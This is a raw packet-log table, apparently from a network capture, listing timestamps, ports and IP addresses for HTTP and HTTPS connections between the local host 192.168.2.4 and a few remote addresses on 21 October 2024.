Oct 21, 2024 10:47:40.013729095 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.013741016 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.013778925 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.013823986 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.013834000 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.013979912 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014019012 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014031887 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014091969 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014103889 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014115095 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014127016 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014216900 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014282942 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014293909 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014328957 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014342070 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014441013 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014452934 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014473915 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014491081 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014501095 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014512062 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014524937 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014538050 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014550924 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014580965 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014600039 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014611959 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014624119 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014635086 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014740944 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014754057 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014764071 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014833927 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014843941 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014857054 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014869928 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014890909 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014910936 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014919996 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014977932 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.014988899 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015011072 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015041113 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015305996 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015326023 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015337944 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015348911 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015366077 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015377045 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015398026 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015661955 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015681982 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015691996 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015742064 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015752077 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015773058 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015784025 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015795946 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015866041 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.015925884 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016077995 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016088963 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016100883 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016161919 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016172886 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016190052 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016674042 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016694069 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016705990 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016715050 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016727924 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016765118 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016777039 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016788960 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016865969 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016877890 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016891956 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016941071 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016952038 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.016964912 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017044067 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017081022 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017093897 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017152071 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017163038 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017182112 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017286062 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017297983 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017309904 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017375946 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017386913 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017399073 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.017410994 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.020437002 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.021722078 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.021764040 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.021792889 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.021817923 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.021846056 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.021869898 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.021897078 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.021920919 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.021951914 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.021965981 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.239203930 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.240689993 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.592231035 CEST	80	50066	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:40.592294931 CEST	50066	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:40.603912115 CEST	50042	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.604171991 CEST	50072	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.609034061 CEST	80	50072	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.609302044 CEST	80	50042	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.613516092 CEST	50072	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.613555908 CEST	50042	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.614643097 CEST	50072	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.619438887 CEST	80	50072	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.688858986 CEST	50073	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:40.688889980 CEST	443	50073	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:40.689029932 CEST	50073	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:40.689317942 CEST	50073	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:40.689332008 CEST	443	50073	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:40.691239119 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.691293001 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.802361965 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:40.802386999 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:40.802489042 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:40.802742004 CEST	50076	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:40.802755117 CEST	443	50076	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:40.897599936 CEST	50077	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:40.897634029 CEST	443	50077	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:40.897710085 CEST	50077	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:40.898063898 CEST	50077	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:40.898082972 CEST	443	50077	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:40.946485996 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.951502085 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.951519966 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.951535940 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.951551914 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.951567888 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.951570034 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.951584101 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.951590061 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.951605082 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.951617002 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.951620102 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.951639891 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.951658964 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.977354050 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.982295990 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982320070 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982336044 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982347012 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.982351065 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982367039 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.982367992 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982383966 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982400894 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982414961 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982423067 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.982431889 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982446909 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982455969 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.982461929 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982479095 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982481956 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.982501984 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.982690096 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982736111 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.982866049 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982881069 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982894897 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982908964 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982914925 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.982924938 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982944965 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.982945919 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982963085 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982976913 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.982986927 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.982992887 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983009100 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.983010054 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983027935 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983058929 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.983719110 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983733892 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983763933 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.983763933 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983781099 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983794928 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983810902 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983836889 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983851910 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983865976 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983880043 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983895063 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983911037 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.983921051 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.983948946 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.984745979 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.984761000 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.984775066 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.984788895 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.984795094 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.984805107 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.984813929 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.984819889 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.984834909 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.984847069 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.984852076 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.984877110 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.985290051 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985316992 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985332012 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985337973 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.985373020 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.985508919 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985523939 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985543966 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985558033 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985563993 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.985574007 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985589981 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985596895 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.985605955 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985624075 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985629082 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.985641003 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.985663891 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.986407042 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986429930 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986447096 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986450911 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.986460924 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986476898 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986485004 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.986494064 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986509085 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986516953 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.986525059 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986540079 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986550093 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.986555099 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986569881 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986572027 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.986592054 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.986612082 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.987308025 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987323999 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987348080 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987355947 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.987363100 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987376928 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987390995 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.987401009 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987416983 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987437963 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987438917 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.987453938 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987468958 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987483978 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987498999 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.987499952 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.987521887 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.988292933 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988306999 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988322020 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988336086 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988399029 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.988409996 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988425016 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988440037 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988455057 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988471031 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988485098 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988487005 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.988500118 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988513947 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.988518000 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.988532066 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.989226103 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989242077 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989257097 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989272118 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989295006 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.989295006 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.989533901 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989548922 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989573956 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.989607096 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989630938 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989645004 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989660978 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989675999 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989691973 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989722967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989738941 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989753008 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989763021 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.989773989 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.989787102 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.989818096 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.990622044 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.990637064 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.990652084 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.990665913 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.990680933 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.990695953 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.990710974 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.990725994 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.990741014 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.990756035 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.990771055 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.990787029 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991605997 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991630077 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991635084 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.991646051 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991662025 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991662025 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.991677999 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991693020 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991707087 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.991708040 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991724014 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991738081 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991746902 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.991751909 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991766930 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:40.991766930 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:40.991785049 CEST	80	50056	185.215.113.16	192.168.2.4
